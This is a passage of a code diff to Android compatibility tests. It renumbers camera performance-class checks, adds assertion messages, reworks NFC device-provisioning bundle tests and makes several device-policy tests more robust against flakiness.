-            boolean meetH113 = staticInfo.isPreviewStabilizationSupported();
+            // H-1-12
+            boolean meetH112 = staticInfo.isPreviewStabilizationSupported();
             mCollector.expectTrue("Primary " + facingString + " camera must support preview "
-                    + "stabilization", !assertTPerfClass || meetH113);
-            perfClassLevelH113 = updatePerfClassLevel(meetH113, perfClassLevelH113,
+                    + "stabilization", !assertTPerfClass || meetH112);
+            perfClassLevelH112 = updatePerfClassLevel(meetH112, perfClassLevelH112,
                     CameraTestUtils.PERFORMANCE_CLASS_S);
-            reportLog.addValue(facingString + " camera preview stabilization", meetH113,
+            reportLog.addValue(facingString + " camera preview stabilization", meetH112,
                     ResultType.NEUTRAL, ResultUnit.NONE);
 
-            // H-1-14
+            // H-1-13
             int facing = staticInfo.getLensFacingChecked();
             int numOfPhysicalRgbCameras = getNumberOfRgbPhysicalCameras(facing);
-            boolean meetH114 = (numOfPhysicalRgbCameras <= 1) || staticInfo.isLogicalMultiCamera();
+            boolean meetH113 = (numOfPhysicalRgbCameras <= 1) || staticInfo.isLogicalMultiCamera();
             mCollector.expectTrue("Primary " + facingString + " camera must be LOGICAL_MULTI_CAMERA"
                     + " in case of multiple RGB cameras with same facing",
-                    !assertTPerfClass || meetH114);
-            perfClassLevelH114 = updatePerfClassLevel(meetH114, perfClassLevelH114,
+                    !assertTPerfClass || meetH113);
+            perfClassLevelH113 = updatePerfClassLevel(meetH113, perfClassLevelH113,
                     CameraTestUtils.PERFORMANCE_CLASS_S);
             reportLog.addValue(facingString + " camera is LOGICAL_MULTI_CAMERA in case of multiple "
-                    + "RGB cameras with same facing", meetH114, ResultType.NEUTRAL,
+                    + "RGB cameras with same facing", meetH113, ResultType.NEUTRAL,
                     ResultUnit.NONE);
 
-            // H-1-15
-            boolean meetH115 = staticInfo.isStreamUseCaseSupported();
+            // H-1-14
+            boolean meetH114 = staticInfo.isStreamUseCaseSupported();
             mCollector.expectTrue("Primary " + facingString + " camera must support stream "
-                    + "use case", !assertTPerfClass || meetH115);
-            perfClassLevelH115 = updatePerfClassLevel(meetH115, perfClassLevelH115,
+                    + "use case", !assertTPerfClass || meetH114);
+            perfClassLevelH114 = updatePerfClassLevel(meetH114, perfClassLevelH114,
                     CameraTestUtils.PERFORMANCE_CLASS_S);
-            reportLog.addValue(facingString + " camera stream use case", meetH115,
+            reportLog.addValue(facingString + " camera stream use case", meetH114,
                     ResultType.NEUTRAL, ResultUnit.NONE);
         }
         HashSet<String> primaryCameras = new HashSet<String>();
@@ -3160,13 +3140,13 @@
             primaryCameras.add(primaryFrontId);
         }
 
-        // H-1-12
+        // H-1-11
         Set<Set<String>> concurrentCameraIds = mCameraManager.getConcurrentCameraIds();
         boolean supportPrimaryFrontBack = concurrentCameraIds.contains(primaryCameras);
         mCollector.expectTrue("Concurrent primary front and primary back streaming must be "
                 + "supported", !assertTPerfClass || supportPrimaryFrontBack);
-        perfClassLevelH112 = updatePerfClassLevel(supportPrimaryFrontBack,
-                perfClassLevelH112, CameraTestUtils.PERFORMANCE_CLASS_S);
+        perfClassLevelH111 = updatePerfClassLevel(supportPrimaryFrontBack,
+                perfClassLevelH111, CameraTestUtils.PERFORMANCE_CLASS_S);
         reportLog.addValue("concurrent front back support", supportPrimaryFrontBack,
                  ResultType.NEUTRAL, ResultUnit.NONE);
 
@@ -3194,8 +3174,6 @@
                 perfClassLevelH113, ResultType.NEUTRAL, ResultUnit.NONE);
         reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-14",
                 perfClassLevelH114, ResultType.NEUTRAL, ResultUnit.NONE);
-        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-15",
-                perfClassLevelH115, ResultType.NEUTRAL, ResultUnit.NONE);
         reportLog.submit(InstrumentationRegistry.getInstrumentation());
     }
 
@@ -3216,6 +3194,9 @@
             if (!staticInfo.isColorOutputSupported()) {
                 continue;
             }
+            if (staticInfo.isMonochromeCamera()) {
+                continue;
+            }
             numOfRgbPhysicalCameras++;
         }
         return numOfRgbPhysicalCameras;
diff --git a/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java b/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java
index 6857072..d89c8e6 100644
--- a/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java
+++ b/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java
@@ -193,7 +193,7 @@
             mUiAutomation.adoptShellPermissionIdentity();
         }
         CameraManager manager = mContext.getSystemService(CameraManager.class);
-        assertNotNull(manager);
+        assertNotNull("Unable to get CameraManager service!", manager);
         String[] cameraIds = manager.getCameraIdListNoLazy();
 
         if (cameraIds.length == 0) {
@@ -201,7 +201,7 @@
             return;
         }
 
-        assertTrue(mContext.getMainLooper() != null);
+        assertTrue("Context has no main looper!", mContext.getMainLooper() != null);
 
         // Setup camera manager
         String chosenCamera = cameraIds[0];
@@ -309,7 +309,7 @@
      */
     public void testCamera2OomScoreOffsetPermissions() throws Throwable {
         CameraManager manager = mContext.getSystemService(CameraManager.class);
-        assertNotNull(manager);
+        assertNotNull("Unable to get CameraManager service!", manager);
         String[] cameraIds = manager.getCameraIdListNoLazy();
 
         if (cameraIds.length == 0) {
@@ -317,7 +317,7 @@
             return;
         }
 
-        assertTrue(mContext.getMainLooper() != null);
+        assertTrue("Context has no main looper!", mContext.getMainLooper() != null);
         for (String cameraId : cameraIds) {
             // Setup camera manager
             Handler cameraHandler = new Handler(mContext.getMainLooper());
@@ -371,7 +371,7 @@
 
         final int permissionCallbackTimeoutMs = 3000;
         CameraManager manager = mContext.getSystemService(CameraManager.class);
-        assertNotNull(manager);
+        assertNotNull("Unable to get CameraManager service!", manager);
         String[] cameraIds = manager.getCameraIdListNoLazy();
 
         if (cameraIds.length == 0) {
@@ -379,7 +379,7 @@
             return;
         }
 
-        assertTrue(mContext.getMainLooper() != null);
+        assertTrue("Context has no main looper!", mContext.getMainLooper() != null);
 
         // Setup camera manager
         Handler cameraHandler = new Handler(mContext.getMainLooper());
@@ -402,7 +402,10 @@
         Rect splitBounds = metrics.getBounds();
 
         // The original of the initial and split activity bounds should remain the same
-        assertTrue((initialBounds.left == splitBounds.left)
+        assertTrue("Initial bounds and split bounds do not match! "
+                + "(" + initialBounds.left + ", " + initialBounds.top + ") vs. "
+                + "(" + splitBounds.left + ", " + splitBounds.top + ")",
+                (initialBounds.left == splitBounds.left)
                 && (initialBounds.top == splitBounds.top));
 
         Rect secondBounds;
@@ -430,7 +433,7 @@
     public void testCamera2AccessCallback() throws Throwable {
         int PERMISSION_CALLBACK_TIMEOUT_MS = 2000;
         CameraManager manager = mContext.getSystemService(CameraManager.class);
-        assertNotNull(manager);
+        assertNotNull("Unable to get CameraManager service!", manager);
         String[] cameraIds = manager.getCameraIdListNoLazy();
 
         if (cameraIds.length == 0) {
@@ -438,7 +441,7 @@
             return;
         }
 
-        assertTrue(mContext.getMainLooper() != null);
+        assertTrue("Context has no main looper!", mContext.getMainLooper() != null);
 
         // Setup camera manager
         Handler cameraHandler = new Handler(mContext.getMainLooper());
@@ -466,7 +469,7 @@
     public void testCamera2NativeAccessCallback() throws Throwable {
         int PERMISSION_CALLBACK_TIMEOUT_MS = 2000;
         CameraManager manager = mContext.getSystemService(CameraManager.class);
-        assertNotNull(manager);
+        assertNotNull("Unable to get CameraManager service!", manager);
         String[] cameraIds = manager.getCameraIdListNoLazy();
 
         if (cameraIds.length == 0) {
@@ -685,7 +688,8 @@
         String cameraActivityName = a.getPackageName() + ":" + processName;
         List<ActivityManager.RunningAppProcessInfo> list =
                 mActivityManager.getRunningAppProcesses();
-        assertEquals(-1, getPid(cameraActivityName, list));
+        assertEquals("Activity " + cameraActivityName + " already running.",
+                -1, getPid(cameraActivityName, list));
 
         // Start activity in a new top foreground process
         Intent activityIntent = new Intent(a, klass);
@@ -698,7 +702,8 @@
         // Fail if activity isn't running
         list = mActivityManager.getRunningAppProcesses();
         mProcessPid = getPid(cameraActivityName, list);
-        assertTrue(-1 != mProcessPid);
+        assertTrue("Activity " + cameraActivityName + " not found in list of running app "
+                + "processes.", -1 != mProcessPid);
     }
 
     /**
@@ -740,7 +745,7 @@
      * @param array array to check.
      */
     public static <T> void assertNotEmpty(T[] array) {
-        assertNotNull(array);
+        assertNotNull("Array is null.", array);
         assertFalse("Array is empty: " + Arrays.toString(array), array.length == 0);
     }
 
@@ -757,9 +762,9 @@
      * @param <T>
      */
     public static <T> void assertOrderedEvents(T[] actual, T[] expected, T[] ignored) {
-        assertNotNull(actual);
-        assertNotNull(expected);
-        assertNotNull(ignored);
+        assertNotNull("List of actual events is null.", actual);
+        assertNotNull("List of expected events is null.", expected);
+        assertNotNull("List of ignored events is null.", ignored);
 
         int expIndex = 0;
         int index = 0;
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java
index bbf4325..ec95ddd 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java
@@ -22,14 +22,18 @@
 import static android.app.AppOpsManager.MODE_ALLOWED;
 import static android.app.admin.DevicePolicyManager.ACTION_MANAGED_PROFILE_PROVISIONED;
 import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_ACCOUNT_TO_MIGRATE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_ADMIN_EXTRAS_BUNDLE;
 import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
 import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME;
 import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_LOCALE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_ROLE_HOLDER_EXTRAS_BUNDLE;
 import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_TIME_ZONE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_TRIGGER;
 import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_WIFI_PASSWORD;
 import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_WIFI_SECURITY_TYPE;
 import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_WIFI_SSID;
 import static android.app.admin.DevicePolicyManager.MIME_TYPE_PROVISIONING_NFC;
+import static android.app.admin.DevicePolicyManager.PROVISIONING_TRIGGER_NFC;
 import static android.app.admin.ProvisioningException.ERROR_PRE_CONDITION_FAILED;
 import static android.content.Intent.EXTRA_USER;
 import static android.content.pm.PackageManager.FEATURE_DEVICE_ADMIN;
@@ -93,16 +97,12 @@
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoProfileOwner;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasProfileOwner;
 import com.android.bedstead.nene.TestApis;
-import com.android.bedstead.nene.devicepolicy.DeviceOwner;
-import com.android.bedstead.nene.devicepolicy.ProfileOwner;
 import com.android.bedstead.nene.packages.Package;
 import com.android.bedstead.nene.permissions.PermissionContext;
 import com.android.bedstead.nene.users.UserReference;
 import com.android.bedstead.nene.users.UserType;
 import com.android.bedstead.remotedpc.RemoteDpc;
-import com.android.bedstead.testapp.TestApp;
 import com.android.bedstead.testapp.TestAppInstance;
-import com.android.bedstead.testapp.TestAppProvider;
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.eventlib.events.broadcastreceivers.BroadcastReceivedEvent;
 
@@ -186,19 +186,22 @@
     private static final String NFC_INTENT_PROVISIONING_SAMPLE = "NFC provisioning sample";
     private static final Intent NFC_INTENT_NO_NDEF_RECORD = new Intent(ACTION_NDEF_DISCOVERED);
     private static final HashMap<String, String> NFC_DATA_VALID = createNfcIntentData();
-    private static final HashMap<String, String> NFC_DATA_EMPTY = new HashMap();
+    private static final HashMap<String, String> NFC_DATA_EMPTY = new HashMap<>();
     private static final Map<String, String> NFC_DATA_WITH_COMPONENT_NAME =
             Map.of(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME, NFC_INTENT_COMPONENT_NAME);
+    private static final Bundle EXPECTED_BUNDLE_WITH_COMPONENT_NAME =
+            createExpectedBundleWithComponentName();
     private static final Map<String, String> NFC_DATA_WITH_ADMIN_PACKAGE_NAME =
             Map.of(EXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME, NFC_INTENT_PACKAGE_NAME);
-
-    private static final TestAppProvider sTestAppProvider = new TestAppProvider();
-    private static final TestApp sDpcApp = sTestAppProvider.query()
-            .whereIsDeviceAdmin().isTrue()
-            .whereTestOnly().isFalse()
-            .get();
+    private static final Bundle EXPECTED_BUNDLE_WITH_PACKAGE_NAME =
+            createExpectedBundleWithPackageName();
 
     private static final PersistableBundle ADMIN_EXTRAS_BUNDLE = createAdminExtrasBundle();
+    private static final PersistableBundle ROLE_HOLDER_EXTRAS_BUNDLE =
+            createRoleHolderExtrasBundle();
+    private static final String ADMIN_EXTRAS_PROPERTIES = createAdminExtrasProperties();
+    private static final String ROLE_HOLDER_EXTRAS_PROPERTIES =
+            createRoleHolderExtrasProperties();
     private static final String TEST_KEY = "test_key";
     private static final String TEST_VALUE = "test_value";
     private static final UserType MANAGED_PROFILE_USER_TYPE =
@@ -220,40 +223,6 @@
         }
     }
 
-    @Test
-    @EnsureHasNoDpc
-    public void setAndRemoveDeviceOwnerRepeatedly_doesNotThrowError() {
-        try (TestAppInstance dpcInstance = sDpcApp.install()) {
-            ComponentName dpcComponentName = new ComponentName(sDpcApp.packageName(),
-                    sDpcApp.packageName() + ".DeviceAdminReceiver");
-
-            for (int i = 0; i < 100; i++) {
-                DeviceOwner deviceOwner = TestApis.devicePolicy().setDeviceOwner(dpcComponentName);
-                deviceOwner.remove();
-            }
-        }
-    }
-
-    @Test
-    @EnsureHasNoDpc
-    @EnsureHasNoWorkProfile
-    @RequireRunOnPrimaryUser
-    public void setAndRemoveProfileOwnerRepeatedly_doesNotThrowError() {
-        try (UserReference profile = TestApis.users().createUser().createAndStart()) {
-            try (TestAppInstance dpcInstance = sDpcApp.install(profile)) {
-                ComponentName dpcComponentName = new ComponentName(sDpcApp.packageName(),
-                        sDpcApp.packageName() + ".DeviceAdminReceiver");
-
-                for (int i = 0; i < 100; i++) {
-                    ProfileOwner profileOwner = TestApis.devicePolicy().setProfileOwner(
-                            profile, dpcComponentName);
-
-                    profileOwner.remove();
-                }
-            }
-        }
-    }
-
     @RequireRunOnPrimaryUser
     @EnsureHasNoDpc
     @RequireFeature(FEATURE_DEVICE_ADMIN)
@@ -933,8 +902,9 @@
                 sDevicePolicyManager.createProvisioningIntentFromNfcIntent(nfcIntent);
 
         assertThat(provisioningIntent).isNotNull();
-        assertThat(provisioningBundleToMap(provisioningIntent.getExtras()))
-                .containsAtLeastEntriesIn(NFC_DATA_VALID);
+        assertThat(provisioningIntent.getAction())
+                .isEqualTo(DevicePolicyManager.ACTION_PROVISION_MANAGED_DEVICE_FROM_TRUSTED_SOURCE);
+        assertBundlesEqual(provisioningIntent.getExtras(), createExpectedValidBundle());
     }
 
     @Test
@@ -957,8 +927,9 @@
                 sDevicePolicyManager.createProvisioningIntentFromNfcIntent(nfcIntent);
 
         assertThat(provisioningIntent).isNotNull();
-        assertThat(provisioningBundleToMap(provisioningIntent.getExtras()))
-                .containsAtLeastEntriesIn(NFC_DATA_WITH_COMPONENT_NAME);
+        assertThat(provisioningIntent.getAction())
+                .isEqualTo(DevicePolicyManager.ACTION_PROVISION_MANAGED_DEVICE_FROM_TRUSTED_SOURCE);
+        assertBundlesEqual(provisioningIntent.getExtras(), EXPECTED_BUNDLE_WITH_COMPONENT_NAME);
     }
 
     @Test
@@ -970,8 +941,9 @@
                 sDevicePolicyManager.createProvisioningIntentFromNfcIntent(nfcIntent);
 
         assertThat(provisioningIntent).isNotNull();
-        assertThat(provisioningBundleToMap(provisioningIntent.getExtras()))
-                .containsAtLeastEntriesIn(NFC_DATA_WITH_ADMIN_PACKAGE_NAME);
+        assertThat(provisioningIntent.getAction())
+                .isEqualTo(DevicePolicyManager.ACTION_PROVISION_MANAGED_DEVICE_FROM_TRUSTED_SOURCE);
+        assertBundlesEqual(provisioningIntent.getExtras(), EXPECTED_BUNDLE_WITH_PACKAGE_NAME);
     }
 
     @Test
@@ -1036,7 +1008,7 @@
     }
 
     private static HashMap<String, String> createNfcIntentData() {
-        HashMap<String, String> nfcIntentInput = new HashMap<String, String>();
+        HashMap<String, String> nfcIntentInput = new HashMap<>();
         nfcIntentInput.putAll(
                 Map.of(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME, NFC_INTENT_COMPONENT_NAME,
                 EXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME, NFC_INTENT_PACKAGE_NAME,
@@ -1044,9 +1016,10 @@
                 EXTRA_PROVISIONING_TIME_ZONE, NFC_INTENT_TIMEZONE,
                 EXTRA_PROVISIONING_WIFI_SSID, NFC_INTENT_WIFI_SSID,
                 EXTRA_PROVISIONING_WIFI_SECURITY_TYPE, NFC_INTENT_WIFI_SECURITY_TYPE,
-                EXTRA_PROVISIONING_WIFI_PASSWORD, NFC_INTENT_WIFI_PASSWORD)
+                EXTRA_PROVISIONING_WIFI_PASSWORD, NFC_INTENT_WIFI_PASSWORD,
+                EXTRA_PROVISIONING_ADMIN_EXTRAS_BUNDLE, createAdminExtrasProperties(),
+                EXTRA_PROVISIONING_ROLE_HOLDER_EXTRAS_BUNDLE, createRoleHolderExtrasProperties())
         );
-
         return nfcIntentInput;
     }
 
@@ -1075,22 +1048,6 @@
         return nfcIntent;
     }
 
-    private Map<String, String> provisioningBundleToMap(Bundle bundle) {
-        Map<String, String> map = new HashMap();
-
-        for (String key : bundle.keySet()) {
-            if(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME.equals(key)) {
-                ComponentName componentName = bundle.getParcelable(key);
-                map.put(key, componentName.getPackageName() + "/" + componentName.getClassName());
-            }
-            else {
-                map.put(key, bundle.getString(key));
-            }
-        }
-
-        return map;
-    }
-
     private NdefMessage createNdefMessage(Map<String, String> provisioningValues, String mime)
             throws IOException {
         ByteArrayOutputStream stream = new ByteArrayOutputStream();
@@ -1106,6 +1063,58 @@
         return new NdefMessage(new NdefRecord[]{record});
     }
 
+    private static PersistableBundle createAdminExtrasBundle() {
+        PersistableBundle result = new PersistableBundle();
+        result.putString("admin-extras-key", "admin extras value");
+        return result;
+    }
+
+    private static String createAdminExtrasProperties() {
+        return "admin-extras-key=admin extras value\n";
+    }
+
+    private static PersistableBundle createRoleHolderExtrasBundle() {
+        PersistableBundle result = new PersistableBundle();
+        result.putString("role-holder-extras-key", "role holder extras value");
+        return result;
+    }
+
+    private static String createRoleHolderExtrasProperties() {
+        return "role-holder-extras-key=role holder extras value\n";
+    }
+
+    private static Bundle createExpectedBundleWithComponentName() {
+        Bundle bundle = new Bundle();
+        bundle.putParcelable(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
+                ComponentName.unflattenFromString(NFC_INTENT_COMPONENT_NAME));
+        bundle.putInt(EXTRA_PROVISIONING_TRIGGER, PROVISIONING_TRIGGER_NFC);
+        return bundle;
+    }
+
+    private static Bundle createExpectedBundleWithPackageName() {
+        Bundle bundle = new Bundle();
+        bundle.putString(EXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME, NFC_INTENT_PACKAGE_NAME);
+        bundle.putInt(EXTRA_PROVISIONING_TRIGGER, PROVISIONING_TRIGGER_NFC);
+        return bundle;
+    }
+
+    private static Bundle createExpectedValidBundle() {
+        Bundle bundle = new Bundle();
+        bundle.putParcelable(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
+                ComponentName.unflattenFromString(NFC_INTENT_COMPONENT_NAME));
+        bundle.putString(EXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME, NFC_INTENT_PACKAGE_NAME);
+        bundle.putString(EXTRA_PROVISIONING_LOCALE, NFC_INTENT_LOCALE);
+        bundle.putString(EXTRA_PROVISIONING_TIME_ZONE, NFC_INTENT_TIMEZONE);
+        bundle.putString(EXTRA_PROVISIONING_WIFI_SSID, NFC_INTENT_WIFI_SSID);
+        bundle.putString(EXTRA_PROVISIONING_WIFI_SECURITY_TYPE, NFC_INTENT_WIFI_SECURITY_TYPE);
+        bundle.putString(EXTRA_PROVISIONING_WIFI_PASSWORD, NFC_INTENT_WIFI_PASSWORD);
+        bundle.putParcelable(EXTRA_PROVISIONING_ADMIN_EXTRAS_BUNDLE, ADMIN_EXTRAS_BUNDLE);
+        bundle.putParcelable(EXTRA_PROVISIONING_ROLE_HOLDER_EXTRAS_BUNDLE,
+                ROLE_HOLDER_EXTRAS_BUNDLE);
+        bundle.putInt(EXTRA_PROVISIONING_TRIGGER, PROVISIONING_TRIGGER_NFC);
+        return bundle;
+    }
+
     @Postsubmit(reason = "New test")
     @Test
     @EnsureDoesNotHavePermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)
@@ -1559,14 +1568,6 @@
         sDevicePolicyManager.getDevicePolicyManagementRoleHolderPackage();
     }
 
-    private static PersistableBundle createAdminExtrasBundle() {
-        PersistableBundle result = new PersistableBundle();
-        result.putString("key1", "value1");
-        result.putInt("key2", 2);
-        result.putBoolean("key3", true);
-        return result;
-    }
-
     private static void assertBundlesEqual(BaseBundle bundle1, BaseBundle bundle2) {
         if (bundle1 != null) {
             assertWithMessage("Intent bundles are not equal")
@@ -1574,9 +1575,19 @@
             assertWithMessage("Intent bundles are not equal")
                     .that(bundle1.keySet().size()).isEqualTo(bundle2.keySet().size());
             for (String key : bundle1.keySet()) {
-                assertWithMessage("Intent bundles are not equal")
-                        .that(bundle1.get(key))
-                        .isEqualTo(bundle2.get(key));
+                if (bundle1.get(key) != null && bundle1.get(key) instanceof PersistableBundle) {
+                    assertWithMessage("Intent bundles are not equal")
+                            .that(bundle2.containsKey(key)).isTrue();
+                    assertWithMessage("Intent bundles are not equal")
+                            .that(bundle2.get(key)).isInstanceOf(PersistableBundle.class);
+                    assertBundlesEqual(
+                            (PersistableBundle) bundle1.get(key),
+                            (PersistableBundle) bundle2.get(key));
+                } else {
+                    assertWithMessage("Intent bundles are not equal")
+                            .that(bundle1.get(key))
+                            .isEqualTo(bundle2.get(key));
+                }
             }
         } else {
             assertWithMessage("Intent bundles are not equal").that(bundle2).isNull();
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/KeyManagementTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/KeyManagementTest.java
index 43749c9..e1512d0 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/KeyManagementTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/KeyManagementTest.java
@@ -38,6 +38,8 @@
 import com.android.bedstead.harrier.policies.KeyManagement;
 import com.android.bedstead.harrier.policies.KeySelection;
 import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.packages.ProcessReference;
+import com.android.bedstead.nene.utils.Poll;
 import com.android.compatibility.common.util.BlockingCallback;
 import com.android.compatibility.common.util.FakeKeys;
 
@@ -417,9 +419,14 @@
             sDeviceState.dpcOnly().devicePolicyManager().installKeyPair(
                     sDeviceState.dpcOnly().componentName(), PRIVATE_KEY, CERTIFICATES,
                     RSA_ALIAS, /* requestAccess= */ true);
+            ProcessReference dpcProcess =
+                    Poll.forValue("DPC Uid", () -> sDeviceState.dpcOnly().process())
+                            .toNotBeNull()
+                            .errorOnFail()
+                            .await();
 
             assertThat(sDeviceState.dpc().devicePolicyManager().getKeyPairGrants(RSA_ALIAS))
-                    .isEqualTo(Map.of(sDeviceState.dpcOnly().process().uid(),
+                    .isEqualTo(Map.of(dpcProcess.uid(),
                             singleton(sDeviceState.dpcOnly().packageName())));
         } finally {
             // Remove keypair
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/NetworkLoggingTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/NetworkLoggingTest.java
index 68c07de..fad7144 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/NetworkLoggingTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/NetworkLoggingTest.java
@@ -36,6 +36,7 @@
 import com.android.bedstead.metricsrecorder.truth.MetricQueryBuilderSubject;
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.permissions.PermissionContext;
+import com.android.bedstead.nene.utils.Flake;
 
 import org.junit.AssumptionViolatedException;
 import org.junit.ClassRule;
@@ -110,7 +111,8 @@
                 connectToWebsite(url);
             }
 
-            TestApis.devicePolicy().forceNetworkLogs();
+            // TODO(b/232738120): Figure out why it's not reliably received
+            Flake.repeat(() -> TestApis.devicePolicy().forceNetworkLogs());
 
             long batchToken = waitForBatchToken();
 
@@ -210,7 +212,10 @@
             for (String url : URL_LIST) {
                 connectToWebsite(url);
             }
-            TestApis.devicePolicy().forceNetworkLogs();
+
+            // TODO(b/232738120): Figure out why it's not reliably received
+            Flake.repeat(() -> TestApis.devicePolicy().forceNetworkLogs());
+
             long batchToken = waitForBatchToken();
 
             sDeviceState.dpc().devicePolicyManager().retrieveNetworkLogs(
@@ -227,4 +232,4 @@
                     sDeviceState.dpc().componentName(), false);
         }
     }
-}
+}
\ No newline at end of file
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java
index 991bf1c..e612d05 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java
@@ -32,6 +32,7 @@
 import com.android.bedstead.harrier.BedsteadJUnit4;
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.annotations.EnsureScreenIsOn;
+import com.android.bedstead.harrier.annotations.EnsureUnlocked;
 import com.android.bedstead.harrier.annotations.Postsubmit;
 import com.android.bedstead.harrier.annotations.SlowApiTest;
 import com.android.bedstead.harrier.annotations.enterprise.CanSetPolicyTest;
@@ -124,6 +125,7 @@
     @PolicyDoesNotApplyTest(policy = ScreenCaptureDisabled.class)
     @Postsubmit(reason = "new test")
     @EnsureScreenIsOn
+    @EnsureUnlocked
     public void setScreenCaptureDisabled_true_screenCaptureWorks() {
         mDevicePolicyManager.setScreenCaptureDisabled(mAdmin, true);
 
@@ -134,6 +136,7 @@
     @Postsubmit(reason = "new test")
     @SlowApiTest("Screenshot policy can take minutes to propagate")
     @EnsureScreenIsOn
+    @EnsureUnlocked
     public void setScreenCaptureDisabled_true_screenCaptureFails() {
         mDevicePolicyManager.setScreenCaptureDisabled(mAdmin, true);
 
@@ -143,6 +146,7 @@
     @PolicyAppliesTest(policy = ScreenCaptureDisabled.class)
     @Postsubmit(reason = "new test")
     @EnsureScreenIsOn
+    @EnsureUnlocked
     public void setScreenCaptureDisabled_false_screenCaptureWorks() {
         mDevicePolicyManager.setScreenCaptureDisabled(mAdmin, false);
 
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java
index 82195db..fcf71d0 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java
@@ -40,6 +40,7 @@
 import com.android.bedstead.harrier.annotations.enterprise.CanSetPolicyTest;
 import com.android.bedstead.harrier.annotations.enterprise.CannotSetPolicyTest;
 import com.android.bedstead.harrier.annotations.enterprise.PolicyAppliesTest;
+import com.android.bedstead.harrier.annotations.enterprise.PolicyDoesNotApplyTest;
 import com.android.bedstead.harrier.policies.UserControlDisabledPackages;
 import com.android.bedstead.metricsrecorder.EnterpriseMetricsRecorder;
 import com.android.bedstead.nene.TestApis;
@@ -175,9 +176,10 @@
                         DPC_COMPONENT_NAME);
         String testAppPackageName = sTestApp.packageName();
 
-        sDeviceState.dpc().devicePolicyManager().setUserControlDisabledPackages(DPC_COMPONENT_NAME,
-                Arrays.asList(testAppPackageName));
         try (TestAppInstance instance = sTestApp.install()) {
+            sDeviceState.dpc().devicePolicyManager().setUserControlDisabledPackages(
+                    DPC_COMPONENT_NAME, Arrays.asList(testAppPackageName));
+
             instance.activities().any().start();
 
             sActivityManager.forceStopPackage(testAppPackageName);
@@ -194,6 +196,36 @@
         }
     }
 
+    @EnsureHasPermission(value = permission.FORCE_STOP_PACKAGES)
+    @PolicyDoesNotApplyTest(policy = UserControlDisabledPackages.class)
+    @Postsubmit(reason = "new test")
+    public void setUserControlDisabledPackages_launchActivity_verifyPackageStopped()
+            throws Exception {
+        List<String> originalDisabledPackages =
+                sDeviceState.dpc().devicePolicyManager().getUserControlDisabledPackages(
+                        DPC_COMPONENT_NAME);
+        String testAppPackageName = sTestApp.packageName();
+
+        try (TestAppInstance instance = sTestApp.install()) {
+            sDeviceState.dpc().devicePolicyManager().setUserControlDisabledPackages(
+                    DPC_COMPONENT_NAME, Arrays.asList(testAppPackageName));
+
+            instance.activities().any().start();
+
+            sActivityManager.forceStopPackage(testAppPackageName);
+
+            try {
+                assertPackageStopped(testAppPackageName);
+            } finally {
+                stopPackage(sTestApp.pkg());
+            }
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setUserControlDisabledPackages(
+                    DPC_COMPONENT_NAME,
+                    originalDisabledPackages);
+        }
+    }
+
     private void stopPackage(Package pkg) throws Exception {
